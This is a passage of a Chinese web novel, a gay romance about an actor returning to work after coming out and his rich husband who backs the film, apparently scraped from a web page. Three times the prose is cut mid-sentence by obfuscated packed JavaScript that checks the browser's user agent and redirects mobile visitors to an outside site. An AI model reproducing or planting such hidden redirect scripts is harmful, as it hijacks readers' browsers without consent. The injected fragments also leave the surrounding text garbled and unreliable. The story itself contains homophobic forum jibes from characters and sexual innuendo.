这两位是怎么认识的,没人爆料,只能靠年龄、留学时间、过往停留ip相互交叉一点点往上拼凑。拼到最后,话题已经完全变了形,怎么认识的不重要,迟铎到底是怎么嫁进去的比较重要。 按目前能扒到、也没被秒删的信息来看,这两位背景过于门当户对。真要算阶层流向,怎么看都是迟铎在内部体系内完成了一次上嫁。 于是某组又开始发力。 【李涛,怎么上嫁的?】 既然老公背景这么吓人,请问是怎么拿下的? 下面的回复一个比一个阴阳怪气。 1L: 两男通讯录能不能别花钱来组里翻炒了,恶不恶心啊? 2L: 别来翻炒 +1,这标题什么意思,默认cd上嫁了是吧? 3L: 难道不是上嫁吗?事实而已,他家现在什么位置自己心里没数? 4L: 别转移话题,重点难道不是他怎么进场的吗? 5L: 你们是不是太给他脸了,说白了就是脸值钱。 6L: 对啊,靠脸进场有什么不好承认的,他一直都纯靠脸吃饭啊。 7L: 大胆猜一句凯特路线呗。一直跟老公一个学校那种,从学生时代就绑定。他老公不一直在伦敦活动吗?cd不也是在英国待了很久?时间线对得挺齐的。小小年纪就开始做妻子预备役,很合理。 8L: 楼上这个思路其实挺完整的。迟家退了这么久,好不容易碰上个世子还是通讯录,顺势精准投放而已。毕竟世子的爹是如日中天的p亲王,攀上了,阶层直接向上流动。 9L: 笑死,楼上还真按传统婚姻算呢?给子哪来的真心?传统门阀都得连着生三胎男宝才能稳地位,cd靠什么? 他老公长什么样又不是没看到,出去找的话,外面一堆0追着往上扑。cd又不能生,能拿来拴人的,除了家世还能有什么? 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985011|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白了就是世子实在直不回来,王爷没办法,只能内部消化,给他找个合规的。 10L: 你们是真不怕啊。 操作失败:帖子不存在或者无权操作。 这帖同样没能存活超过十分钟。话说得难听,恶意也不遮掩,却在一片胡乱揣测里,意外拼凑出了一点接近真相的轮廓。只是这些,很快也被一并清掉了。 顺带一提,另位男嘉宾世子身份确认后,梦女粉彻底沉默了,没什么继续的幻想空间了。转嬷的也不是没有,但苦于迟铎太久没出现在人前,摸不清他现在的人设走向。嬷粉只能先按已知信息自行补全,目前是按苦情大房人设开嬷。 而这些,迟铎一概不知道。 这个时间点,他正在准备第二天的试镜。 第二天 试镜室不大,一张桌子,三把椅子,靠墙架着一台摄像机,灯没刻意打亮。 迟铎进来的时候,导演正低头翻剧本。 “来。”对方抬了下眼,“不用走位,坐着就行。” 迟铎点头,在椅子上坐下。 助理把那几页纸递给他,纸张边角已经起毛,显然被反复用过。导演看着他说:“你先自己看一遍。” 迟铎低头,内容很熟。他在家里反复看过很多次,也拉着裴与驰对过戏,不是为了记词,而是为了反复确认一种情绪:当因为工作上的事情出问题,自己被拉出来顶锅的时候,自己的第一反应应该是什么。 第一幕。 空房里,中介和租客站着,手机开着免提。房东在国外,信号断断续续,说话却很坚决,要在原合同基础上加一条转租条件。租客当场皱眉,坚持按合同来。 中介站在两人中间,没有立刻表态,只是反复确认有没有调整空间,一边拖时间,一边缓冲语气。 他现在说的每一句话都不越界,也没有一句明显错误。但之前,为了达成交易,他确实在上级的点头下,单方面应承了房东未来会增加转租条件这件事。 迟铎翻页。 第二幕 投诉,协调,会议室。 主管坐在对面,说话很平静。 “事情公司会处理。” “但现在平台舆情不太好。” “你太年轻了。” 台词在这里结束。 后面没有争执,没有反驳,也没有任何解释的空间,只留下一段空白。 迟铎合上纸,抬头,导演已经放下笔。 “你选哪段?” “会议室那段。”迟铎说。 “好。”导演点头,“坐着就行。” 助理按下录像。 迟铎没有立刻开口。他坐得很直,双手放在膝盖上,姿态很规整,像是早就习惯了这种谈话方式。 过了两秒,他才抬起眼。 “我知道我没处理好,”他说得很冷静,“连累到公司了。” 这一句,不在剧本里。 导演没有出声。 迟铎没有等待回应,像是早就预料到这一点,继续往下说。 “当时是按流程走的。” “上面点头,我才照着做。” 语气很平静,不是甩锅,不是要说法,只是把事情平铺直叙在桌面上。 “现在事情闹大了,我也明白,公司不方便出来说什么。” 他说到这里,停了一下。 “我只是想确认,” 他顿了顿,像是在选一个更合适的说法。 “接下来公司还需要我做什么?有新的客户我可以继续对接。” 话说完,他没有再补充。 空气安静下来,摄像机还在转。 几秒后,他自己停住了。 “可以了。”导演说。 助理关掉录像。 迟铎起身,把椅子推回原位,道了声谢,走了出去。 38.投资人 门关上后,试镜室里没立刻散。 导演靠在椅背上,把会议室那一段调出来,又看了一遍。制片站在旁边,没说话。 “他没给自己洗。”导演先开口。 制片抬了下眼。 “没解释对错,也没往公司身上推。”导演盯着画面,“全程都在确认一件事。” “还能不能继续干。”制片接了一句。 导演点头。 “对。” “这点很难得。” 画面里,迟铎坐得很直,说话不急,也不退。 “换别人,这里肯定要加情绪。”导演说,“要么委屈,要么憋火,最少得让观众知道他是冤的。” 制片点头:“他没走那条路。” “他走的是现实路。”导演说,“事情已经砸下来了,那我接下来怎么办。” 制片想了想:“他这个状态,是知道自己已经被推出去了。” “但还没放弃这份工作。”导演说。 制片笑了一下:“对,先看还能不能留在规则里。” 导演把画面关掉:“这种人,后面戏好写。” “不会抢道德高地,也不会突然英雄化,不会抢主角的戏,但又能让人带入现实生活。” “就是一直在算,能不能继续讨生活。” 制片沉默了两秒,说:“那就够了。” 导演点头:“够用。” 王平柔是在回公司路上接到电话的,不是正式通知,更像一句彼此心里都有数的招呼。 她听完没立刻回话,只是把车窗降下来,深吸了一口气,才说了句:“知道了。” 电话挂断,她盯着前方红灯看了一会儿,忍不住笑了一下。 笑得很短。 “真他妈的。”她低声骂了一句。 这个时间点,这个舆论环境。 一个靠脸、靠梦女吃饭,转头就当众出柜,把粉圈直接掀掉一半的男明星,被记住的理由居然是像个普通人。 她忽然意识到,这条路一旦走上去,就很难再回头。 而迟铎,可能从一开始就没打算回头。 迟铎是在晚上收到王平柔消息的,很短。 【试镜反馈不错】 【没白去】 【说你挺贴普通人的】 他看了一眼消息,没有回,把手机扣在桌上,低头看儿子。 小海马正躺在软垫上,抓着一只毛绒小马,抓得很认真,表情像是在研究什么人生大事。 迟铎伸手戳了戳他肚子,“你知道吗?” 小海马:“啊。” 干嘛戳我? “今天,”迟铎说,“我被人夸像普通人。” 小海马眨了下眼,又“啊”了一声,明显没听懂。 迟铎点头:“对,我也觉得很离谱。” 他靠回沙发,双手交叉放在脖子后面,抬头看着天花板。脑子里却不受控制地闪过以前跑活动的时候,有电影粉举着他演弟弟那部戏的海报找他签名,说希望以后还能在大银幕上看到他。 虽然,不太想承认。 但这是他第一次,被专业人士从表演本身的角度记住。 这件事,让人心情不错。 裴与驰回来的时候,很敏锐地察觉到有人心情不错。 “怎么了?”他看了迟铎一眼。 “没事。”迟铎说,“可能要开始忙了。” 裴与驰的动作顿了一下,然后很自然地“嗯”了一声。他没问是什么工作,只是把外套随手往沙发上一扔,人已经靠了过来,目的性很明确。 下一秒,迟铎被他抱了起来。 迟铎:“……” “那我们抓紧点。”裴与驰语气一本正经。 迟铎被他抱着,仰头看他:“你是不是理解错了什么?” “没有。”裴与驰面不改色,“我理解得很清楚。” 他还低头想了想,像是在认真斟酌用词:“你接下来要进组,我要忙新办公室开业,”他说,“两边都很忙,时间宝贵。” 迟铎:“所以?” 裴与驰低头看他,嘴角那点笑意藏得很浅:“所以不要浪费难得的空闲时间。” 迟铎:“……” 真的很难判断这所谓的空闲时间是打算用在什么地方。 “而且,”裴与驰又补了一句,“我帮你对戏了。” 开始索要报酬。 迟铎看着他:“你是指跟个大爷一样坐在沙发上训我?” “过程不重要。”裴与驰理直气壮,说完还特意低头凑近了点,语气压得很低,“效果到了就行。” 迟铎:“……” “……晚饭呢?” 语气明显松动。 裴与驰接收指令一向很快,人已经转身往楼上走:“让他们送上来。” 行。 反正,老公器大活好,不用白不用。 有电影要用迟铎的消息很快就传了出来,舆论几乎是立刻炸开的。大多数人的第一反应高度一致:导演是冲着炒作去的。 停工一年,被拍到同性实锤后出柜,在这个时间点被启用,怎么看都不像一个正常选择。除非这部片是《蓝宇2》,打算专吃彩虹流量。但问题是,这部片既不是同类题材,迟铎也只是个配角。 于是讨论很快拐了个弯,从“导演炒作”拐到“世子冲冠一怒为世子妃”,拿钱砸个配角纯玩票。反正不管怎么拐,结论只有一个,没人相信迟铎是靠表演,清清白白拿到这个角色的。 导演和制片那边倒是很快统一了意见,戏好,角色合适,人也对。但问题卡在投资方,认为风险太大。 舆论还没彻底散,出柜的余温尚在。一个原本靠粉圈和形象吃饭的演员,突然要来演这种普通人角色,本身就不符合他们一贯的选角策略。 更何况,网上风风雨雨都在扒迟铎是“世子妃”,可谁敢拍着胸口保证?现在出门在外,身份都是自己给的。万一迷雾里的“世子”,最后只是个招摇撞骗的小子,那他们这笔投资,谁来兜底? 话说得很委婉,意思却很清楚:风险艺人,不宜启用。 创作方和资本方就这样僵持住了,王平柔这边也插不上手,只能等。 就在她准备在心里给这个项目判死刑的时候,第三天,风向忽然变了。 投资方那边换了联系人,态度也明显不一样了。前后不过几句话,中心思想却只剩一句:“可以推进。” 她多问了一句,对方含糊了一下,只说:“有人来谈过。” 是谁,显而易见。 裴与驰那天,确实“顺路”去见了投资方。 顺路得很有诚意。亲王世子的名头压下来,比任何履历都好用。他父亲正如日中天,不是那种退到一边、只剩体面的老家翁。这一趟下来,已婚另一半的身份,算是被当场做实了。 圈内该知道的,很快都知道了。裴家这一代,出了个不打算接班、不爱惜羽毛、也懒得维持体面的儿子,还是独子。 那个圈里的人心里有了数,这个圈里的人,自然不敢不给裴少面子。更何况裴少是华尔街新星,别的先不谈,钱多是真的。 带头入资,承担风险。条件一落地,投资方的态度立刻变了。谈到最后,恨不得连鞋底都替裴少擦干净。 这种好事,谁不想接住。 王平柔是在第三天给迟铎打来电话的,语气压不住兴奋:“搞定了,下周进组。” 迟铎没有跟着激动,握着手机反而冷静下来:“怎么回事?” 他不信投资方不清楚他的风险,也不信这个时间点公司愿意给他换资源。电话那头短暂地沉默了一下,就是这一下,让整件事在他脑子里迅速转了一圈,卡点只可能在投资方,而能让那边突然松口的人,范围并不大。 “……裴与驰?”他低声问。 王平柔叹了口气:“你反应也太快了。” 这基本就是默认。 迟铎没说话。 他没有继续问谈了什么,也没有问裴与驰具体做了哪些事。那些答案,其实并不重要。重要的是结果已经摆在这里,而代价也肯定有。 电话挂断后,他在原地坐了一会儿,没动。情绪来得并不猛烈,而是一点一点渗出来的,后知后觉,却无处可躲。 他心里很清楚,裴与驰做这件事,只是觉得这件事值得,觉得他值得。 这个人,是不是有点过分了。 床上全方位重建他的信心还不够,床下也这样,连钱都一起砸。 他知不知道,这已经算夫妻共同财产了。 迟铎越想越不是滋味,心口那点发胀的情绪,被这个念头一顶,反而有点想笑。 门开了。 那个在外面挥金如土的丈夫回来了。 裴与驰一进门,就看见迟铎站在客厅里,脸上的笑还没来得及完全收好。他脚步一顿,挑了下眉。 “什么事这么开心?” 迟铎立刻把表情收敛起来:“你猜。” 裴与驰真就停下来,像模像样地想了一会儿,视线在他脸上转了一圈,语气还挺笃定。 “要进组了?” 迟铎一愣,那点强行压住的情绪,像是被人从底下轻轻戳了一下,瞬间就乱了。 他没否认。 裴与驰看懂了,点点头,语气轻得不行:“那挺好。” 就是这句话,说得太轻了。 他总是这样,把背后为他做的事,说得像顺手为之,像不值一提。 迟铎本来有很多话想说, 比如你怎么不跟我商量。 比如你知不知道那是夫妻共同财产。 可这些话在喉咙里转了一圈,出口的却是:“不会影响爸吗?” 话一出来,迟铎自己都愣了一下,他明明想质问的不是这个。 裴与驰也顿了一下。 那一瞬间,他就知道迟铎已经把整件事想明白了。怎么谈的,怎么扯完大旗再砸的钱,一步一步,全都对上了。 他没否认,也没回避,只是很平静地说: “不会。” “让那个圈子更确定一件事,对他来说反而是好事。” 迟铎皱眉:“什么事?” 裴与驰看着他,语气平淡得像在讲别人的事。 “他儿子彻底不能接班。” “对他想更进一步,是加分项。” 迟铎一时没说话。 这话说得太冷静了,冷静到像是早就被算进了得失里。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985012|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可偏偏,这份算计是为了他。 迟铎忽然就明白了,当初那次家宴上,自己为什么会被那么顺利地接纳。 原来所谓的提前谈过,是裴与驰,早就把这句话,讲给了父亲听。 用的不是情绪,也不是请求。 而是事实。 眼泪几乎是瞬间打湿了睫毛根部,迟铎低下头,伸手把儿子拎起来,直接递给旁边的保姆。 “带他上楼。” 楼梯脚步声消失的那一刻,迟铎眼眶里积存已久的那些泪水,终于全部掉了下来。 他低着头,站在原地,没有遮挡,哭得很安静,却很用力。 这是第一次。 不是因为委屈,不是因为伤心,也不是因为被逼到角落。 只是太清楚这份爱是怎么来的,也太清楚对方为此付出了什么。 所以不知道该怎么办了。 裴与驰一直都是别人家的孩子。看向他的目光里,有欣赏,有爱慕,有嫉妒,却唯独没有轻视,也没有嗤之以鼻。 迟铎是在这一刻才后知后觉地意识到,和他在一起之后,裴与驰第一次面对父亲时,大概也是被这样的目光重新审视着。 只要想到这里,心口就像被人轻轻捏了一下,疼得不声不响。 那种疼不是剧烈的,是迟到的,来得太晚,却怎么都躲不开。 裴与驰低声说:“不哭了好不好。” 迟铎听出了那点罕见的手足无措。 他没抬头,眼泪还在掉,他却已经哭不出声音了,只是呼吸一下一下地乱着。 裴与驰站在他面前,伸手又收回去,最后还是轻轻抱住了他,动作很慢,很克制。 “我不是想让你难受。”他说。 这句话一出来,迟铎反而更受不了了。 他抬手抓住裴与驰的衣襟,指节用力到发白,声音低得几乎听不清。 “我知道。” 正因为知道,才更不知道该怎么办。 裴与驰低头,额头抵着他的,呼吸也乱了一点。 “我有钱。”他说得很轻,却很笃定,“我的行业也只认钱,那些目光对我来说不重要。” “评价也是。” 他停了一下,像是在确认迟铎有没有听进去。 “他们怎么看,不会影响我赚钱,也不会影响我活得很好。” 迟铎的眼泪慢慢停住了。他知道裴与驰不是在逞强。对方是真的不在乎。那些旁人眼里的得失、体面、前途,在他那里,从来都不是衡量标准。 可正因为这样,迟铎才更难受。 “可我在乎。”他低声说。 “我知道你不在乎,可我会替你在乎。” 迟铎抬眼看着他。 在他心里,裴与驰早就已经是最好的了。所以任何不好的目光,只要落在他身上,都会无法忍受。 这句话落下的时候,裴与驰明显怔了一瞬。 他什么都没说,只是伸手把迟铎抱紧,让他的头埋进自己肩膀里。动作很重,像是下意识的反应。 然后,下一句话却彻底不成样子。 他低声开口,“我去当投资人,本来也不是为了别的。” 迟铎还没从那点情绪里缓过来,裴与驰已经非常自然地继续往下说:“我不放心。” “我接下来会有很长一段时间在纽约。” “而新婚妻子一个人在外面拍戏。” 他说到这里,语气甚至还认真了几分。 “万一寂寞了,出个轨,跟别人当剧组夫妻,我怎么办。” 迟铎:“……” 还没来得及反应。 裴与驰已经给出了完整解决方案。 “所以我得当老板,让人帮我盯着老板娘。” 空气安静了两秒。 迟铎终于从他怀里抬起头,红着眼睛看他:“你是不是故意的?” 裴与驰想了想,很认真:“是。” 迟铎一口气差点没上来:“你——” “但我知道你等会儿会原谅我。” “凭什么?” 他低头,靠得很近,声音很轻:“因为我每次都哄得你很开心。” 迟铎:“……” 他是真的拿这个人一点办法都没有。 前一秒还心疼得不行,下一秒就被气得说不出话。情绪兜兜转转,最后只剩下一种更麻烦的东西。 不知道怎么办,也不知道还能怎么再多爱他一点。 迟铎默默缩回他怀里,声音闷闷的:“那我不放心怎么办。” “你说你不放心我,我也不放心你。” 声音还带着很重的鼻音,却一字一句,说得格外清楚。 不是赌气,也不是玩笑。 是真的在担心。 裴与驰愣了一下,抱着他的手明显收紧了一点。 迟铎闭上眼睛,额头抵着他肩膀,心里只有一个念头。 这么好的。 不会再有第二个了。 结局: 最终的妥协方案,是裴与驰每天固定时间给老婆视频,准时交公粮。 监督到位,执行严格,缺一次都要补。 就, 迟铎有时候,也真的挺炸裂的。 39.进组 戏在横店拍,周期一个多月。进组前两天,裴与驰刚好要飞纽约。也不知道是谁先起的头,这两天的生活直接失控,堪称醉生梦死。家不回了,人住在酒店里,小海马只能通过微信视频被抱起来看几眼,其余时间,行程安排得异常紧凑,几乎没有空档。 除了做就是做。 不知道的,还以为裴与驰不是去谈生意,是要被派去前线执行什么高危任务。 迟铎是真的把那句不放心听进去了。 他不放心裴与驰在外面,更不放心他一个人飞纽约。 这两天几乎是腿根不离,b不能停。 坐l啊,用手等qing趣一概不准,不然迟铎担心自己先扛不住,榨不干。 所以迟铎对自己的要求很明确和严格: 必须拿b/腿根榨干。 对裴与驰的要求也同样: 不许分心、不许留力,不许给纽约留下任何幻想空间。 裴与驰对此毫无异义,甚至配合得相当彻底。 终极目标只有一个,让裴与驰一落地就只剩工作,清心寡欲,全身心投入事业。 等真正把人送走,迟铎才后知后觉地松了那口气。 回家的路上,腿都有点发虚。 王平柔早就在家里等着,看他进门时走路姿势明显不对,冷笑了一声。 “你这是干嘛去了?” 迟铎把包往沙发上一丢,人直接瘫下去。 王平柔看了他两眼,评价精准又刻薄:“彻底鸭化了。” 迟铎闭着眼,懒得反驳。 反正该防的,也算是都防了。 而且,他算了下自己的投入,觉得裴与驰这趟,离成为Ken Griffin还早,但Bill Ackman,应该问题不大。 他对裴与驰的事业一向上心,甚至不惜亲自上阵。 老爸飞纽约了,老妈的母爱立刻重新上线。 明明在家里自己玩得挺开心、也不是很想念父母的儿子,忽然就被看出了对妈咪万般不舍。结论下得极快,执行力一如既往地惊人。 最后的结果是两个保姆,一个小孩,一群人浩浩荡荡一起去横店。 王平柔站在旁边,看着迟铎非常熟练地把斜挎的妈咪包往身上一背,动作流畅到令人心惊,脸色变幻莫测。 她沉默了几秒。 总觉得自己像是被强制拉来看了一部家庭伦理向的cult片。 导演把心力几乎都放在戏上,预算也紧着拍摄流程走。迟铎心里有数,进组第一天就没麻烦剧组,自己订了酒店,把一家老小安顿得明明白白。该花的钱自己花,该配合的地方一点不拖后腿。 李浩休完假重新上线,心情不错,乐呵呵地跑来找他那位一贯靠谱又帅气的迟哥。 门一打开,他整个人直接愣在原地,第一反应是自己是不是走错了房间,第二反应是某种穿越时空的爱恋当场上演,只不过这回跨度有点大,一步到位给他干到幼儿园去了。 地上铺着厚厚一层软垫,边角全包,灯光调得很柔和,主打一个护眼。靠墙摆着一排玩具,旁边还堆着一溜玩偶,床边加了护栏,插座全封,桌角也贴满了防护。 没有一处像是单身男演员该住的酒店房间。 哦,不对,是已婚男同演员。 李浩脑子空白了两秒,随即意识到一个问题,这地方明显不是临时凑合一下的配置,是准备长期住小 bb的。 然后问号开始在他脑子里排队: “哥你不是真陪产去了吧?” “孩子都有了那嫂子呢?” “不对啊你不是已婚男同吗?” 他站在门口,视线在房间里慢慢扫了一圈,呼吸都有点不顺,下一秒就看见他帅气的迟哥抱着一个超级可爱的bb走了出来。 bb嗦着奶嘴,手里抓着个玩偶,没两秒就嫌烦,直接往地上一丢,迟铎连表情都没变一下,很自然地示意保姆捡起来,顺手扔进垃圾桶。 李浩当场沉默。 这熟练程度怎么看都不像第一次带。 “来了。”迟铎朝他示意了一下。 “……嗯。” 李浩应了一声,欲言又止,止又言欲,憋得大脸通红。 迟铎看了他一眼:“有屁快放。” 李浩深吸一口气,像是下了很大决心:“哥,这宝宝是?” “裴与驰的。”迟铎答得干脆。 名字一出来,画面立刻成型,车后座,西装,气场强到不用说话的男人,再配合迟铎微博那句“已婚”,以及工作群里所有人默认却没人敢问的“男同”,逻辑瞬间闭环。 李浩低头看看小bb,又抬头看看迟铎,很多之前想不通的地方突然就通了。 他在原地站了五秒,这五秒里,他的人生观、爱情观以及对娱乐圈的理解被迅速拆解、重组、重新加载。 原来如此。 娱乐圈自有真情在,这不是爱情,什么是爱情。 爱到替对方养孩子,爱到带着进组,爱到把酒店改成儿童乐园。 这已经不是大婆教了,这是大婆教究极形态! 李浩喉咙动了动,语气不自觉地放轻:“……哥,你辛苦了。” 迟铎:“……?” 李浩已经不敢直视他了,目光自动绕开,落在嗦奶嘴的小bb身上,心里只剩下一个念头,懂了。 这种事不能多问,问了就不礼貌了。 他甚至还特别体贴地补了一句:“哥你放心,我嘴很严。” 迟铎明显想问点什么,最后还是没开口。 李浩当场理解为默认,沉默就是承认。 他郑重其事地点头:“我先去跟导演对行程,你这边……家里的事要紧。” 说完非常自觉地离开,走到门口还不忘回头补一句:“哥,你真的挺不容易的。” 门一关,房间里安静了两秒。 迟铎站在原地,沉默。 虽然他是故意不想解释,也早就料到李浩会自己一路狂飙,把所有空白补齐,但看对方现在这个表现,显然是狂飙得有点过头了。 他盯着门口看了两秒,心里默默算了一下解释成本,最后得出结论,算了,再解释下去,问题只会更多,还不如就这样。 只要李浩永远别让他知道,他到底是在误会什么。 进组后第一周是围读和试妆,第二周才正式开拍。他的戏份不多,又比较集中,顺的话三周左右就能结束。 第一次剧组围读的时候,迟铎推门走进去。屋里短暂地停了一下,又很快低头,把注意力重新放回到剧本上,翻页声很快接上,笔在纸上划过,仿佛刚才什么都没发生。 没人多看,也没人多问。 一切都很职业。 围读第一天,导演也没为难大家,每个人轮流说下自己对角色、剧本的理解,就放大家回去休整。 十点钟。 等迟铎洗漱好,小海马已经在围栏的小床上睡熟了。 一点没有认生,侧着脸,呼吸一下一下地起伏,鼻尖湿湿的,偶尔吸气的时候,会发出一点很轻的哼唧声。迟铎站在旁边看了一会儿,伸手替他把下滑的薄毯往上提了提,又在床边停了两秒,才悄悄转身出去。 客厅只留了一盏落地灯。灯光压得很低,桌上摊着剧本,翻到白天围读时那一段。台词不长,他却看得很慢,看一行,停一下。 手机放在一旁,屏幕暗着,迟铎拿起来看了一眼时间,把手机调成了响铃,又放下。 剧本翻到一半,手机终于亮了,不是电话,是视频。 他几乎是立刻接起来。 画面晃了一下,才对准裴与驰,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985513|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是刚坐下,手机还没放稳。 “还没睡?”裴与驰问。 “刚洗完。”迟铎说。他没说自己还在客厅,也没说桌上摊着剧本。 裴与驰看了他一眼,停了两秒,没拆穿,“围读怎么样?” “还行。”迟铎说,“没点人。” 裴与驰笑了一下:“那就是没事。” 迟铎没接这句话,低头翻了一页剧本。 “我说角色的时候,”他说,“有点不知道该说到哪。” “你说到哪了?” “就……照着我能理解的说的。” “那就够了。”裴与驰说。 迟铎抬眼看他。 “第一天不是给答案的,是让人知道你在想。” 迟铎“嗯”了一声。 过了两秒,又不服气:“你又不是导演,你怎么知道。” 裴与驰看了他一眼,承认:“我不知道。” 迟铎:“……” “但你现在这样,不像是说错了话。” 迟铎没说话。 过了一会儿,才低声补了一句:“我有点紧张。” “看出来了。”裴与驰说。 “哪里?” “你翻剧本的频率。” 迟铎低头看了一眼自己手里的本子,默默把那一页合上。 “今天……都还行。” 裴与驰笑了笑:“听着不像敷衍。” “没有。”迟铎说,“都在说戏。” “那就行。” “老板娘帮我盯着点,”裴与驰说,“真要有人不太职业,影响进度” 他停了一下。 “麻烦及时跟我说。” 迟铎抬眼:“说干嘛?” “及时踢掉。”裴与驰说,“不然烧的是夫妻共同财产。” 迟铎看着屏幕,哼了一声。 “还不是你。”他说,“每次这种事,都不提前说。” 裴与驰挑了下眉:“提前说什么?” “重大投资决策。”迟铎说完,顿了一下,又补一句,“尤其是现在。” 裴与驰笑了。 “那你觉得亏吗?” 迟铎没第一时间接话,过了两秒,才低声说:“我又没让你投。” 裴与驰看着他,“嗯。”他说,“是我自己要投的。” 这句话落下之后,迟铎没再接话。 两个人隔着屏幕对着看了一会儿,谁都没急着挂。 “明天几点走?”裴与驰先开口。 “六点多。” 裴与驰看了眼时间,又看回屏幕:“我那会儿在开会,可能接不到。” “我知道。”迟铎说,“下戏给你打。” “好。” 又安静了一会儿。 迟铎低头,把刚才合上的剧本推到一边,这次是真的没再去碰。 “我挂了。”他说。 “去睡吧。” 迟铎应了一声,伸手点了结束。 屏幕暗下去,客厅也跟着静了下来。 迟铎把手机扣在桌上,坐了一会儿。 他原本以为自己会立刻起身,但没有。他想起裴与驰那边,这会儿才刚开始一天。 手机轻轻震了一下。 【醒了不许不吃早饭。】 迟铎看着那行字,低声笑了一下。 他回了个:【yes sir】 停了一下, 又补了个:【XXX】 小海马还睡着,小拳头攥着被角,呼吸一下一下的。 迟铎看了他一眼,低声说了句:“你爸话是真的多。” 小海马已经被睡神带走,没有回应。 迟铎伸手,把被子往上拉了点。 夜深了,第二天要早起。 40.正轨 虽然昨晚嫌弃裴与驰话多,但重返片场,他内心确实是惶恐的。 一开始还好,真正坐下来,和一屋子的演员围读,等轮到他发言的时候,那点惶恐才后知后觉地冒了出来,人都有点飘。 好在有人一如既往地懂他,耐心安抚了他。那点失重感过去得很快,脚重新踩回地面之后,反而比预想中要安静。 第二天一早,他醒得很早。不再像在家那样赖床拖延,他按时起身,洗漱、吃完早饭,又确认保姆已经到位,才出门去剧组。 今天来得早,是为了试妆。 他演的是个毛头小子,做租房中介,年纪比他本身小两岁。装造方向很明确,长到眼睛的刘海,黑框眼镜,把原本锋利的眉眼遮住,整体看起来单纯、无害。 迟铎的嘴唇本就微微上扬,平时没什么表情的时候显得很酷,一旦放松下来,却总像是在笑。配上那副眼镜,这点特质被放大了不少,看起来甚至有点好骗。 身上是一套明显不合身的黑西装和白衬衣,廉价、普通,几乎没有任何存在感,再配上一双怎么看都不太搭的白球鞋。整体效果十分稳定,像个刚入行、随时可能被客户呼来喝去的小中介。 和家里衣帽间里某个人那一排剪裁考究、价格不菲的西装比起来,这身行头最大的优点,大概是站在人群里,也没人会多看他一眼。 迟铎看着镜子里的自己,短暂地评价了一下。 还行。 去裴与驰公司面试,大概第一轮就能被刷下来。 装造效果出来的时候,导演明显愣了一下。他原本就觉得迟铎的戏是对的,对人物的理解也对,只是一直有个问题卡着,长相和气质不太贴合,担心出戏。 无他,帅得太锋利了,自带距离感。很难让人相信,他会被公司、房东、租客三方轮番抽陀螺,还能每天按时打卡,笑着接电话。 可现在不一样了。刘海压下来,眼镜一戴,那点锋芒被遮得干干净净。上扬的微笑唇显得单纯又好说话,整个人的存在感被刻意压低,站在那儿的时候,甚至有点不起眼。像是那种,在中介门店里坐一整天,话不多,脾气也不大,被催单、被甩脸色,都只能默默记在本子上的新人。 导演盯着他看了几秒,忍不住笑了一下。 “这样就对了。” 他终于能完全把迟铎,和他饰演的这个会被生活碾过去的小人物的形象重叠。 有了导演的点头,迟铎心里那点不确定,也没了。 还算成功。 至少不像是会被投诉的那种。 先不说之后演得怎么样,起码第一步没走歪。 不至于从第一天开始,就给某位投资人丢脸。 妆造确定下来后,后面的流程几乎没有停顿。有人过来确认尺寸,还有人顺手把第二天的安排塞进他手里。一年多没有工作,迟铎最初还有点不适应这样的快节奏。刚站定没一会儿,就被叫走确认细节;刚坐下翻了两页剧本,又被喊去走位。所有事情衔接得太快,连犹豫的空档都没有。 但这种不适应并没有持续太久。一来二去,他很快就跟上了节奏。记时间、记位置、记顺序,该他到场的时候不迟到,不该他说话的时候就安静等着。流程一旦跑起来,身体比情绪先一步想起来,该怎么配合。 最先和迟铎混熟的,是和他对手戏最多的租客,白楚昊。 两人年纪差不多,对方是个秀星,被经纪公司塞进来混脸熟的。这部戏的男主是上一届影帝,有稳定的观众基本盘,对白楚昊来说,上映后只要在镜头里被记住一秒,都不算亏。 迟铎对戏时不抢戏,也不端着,给到的反应都很实在。几场下来,对方明显放松了不少。白楚昊年纪不算大,从象牙塔出来没多久就无缝进了娱乐圈,还没来得及学会那些弯弯绕绕,说话一直直来直去。和迟铎混熟之后,更是彻底放开了。 他觉得迟哥好相处,不摆架子,也不装前辈,戏里戏外都挺实在。完全不像之前铺天盖地的黑热搜里说的那样:耍大牌、冷脸、人品差。 于是话也渐渐多了起来,每天都黏着迟铎。迟铎谈不上多热络,也被黏得有点烦。但心里却清楚,对方没什么坏心思,只是刚进组,又没有熟人,本能地想抓住一个能说话的对象。像大学里刚换环境的时候,下意识给自己找个搭子。 白楚昊的话确实不少,但大多都是碎碎念。今天通告单改了几次,明天那场戏会不会顺延,副导演刚才喊人的时候是不是少念了一个名字。迟铎一开始只是听着,偶尔应一声,没有接话的打算。 